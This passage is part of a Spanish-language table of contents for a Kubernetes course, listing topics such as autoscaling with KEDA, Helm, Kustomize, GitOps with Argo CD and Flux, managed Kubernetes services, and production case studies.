- Escalado por Eventos y Métricas Personalizadas con KEDA
- Alta Disponibilidad: PodDisruptionBudgets y Topología
- Ajuste de Rendimiento
Módulo 10: Ecosistema y Herramientas de Kubernetes
- Minikube y Entornos Locales con kind
- Kubeadm
- Helm
- Kustomize
- GitOps con Argo CD y Flux
- Kubernetes Gestionado: EKS, AKS y GKE
Módulo 11: Estudios de Caso y Aplicaciones del Mundo Real
- Despliegue de una Aplicación Web
- Ejecución de Aplicaciones con Estado
- CI/CD con Kubernetes
- Estrategias de Despliegue: Blue-Green y Canary
- Gestión Multi-Clúster
- Operación en Producción: Incidencias, Runbooks y Costes
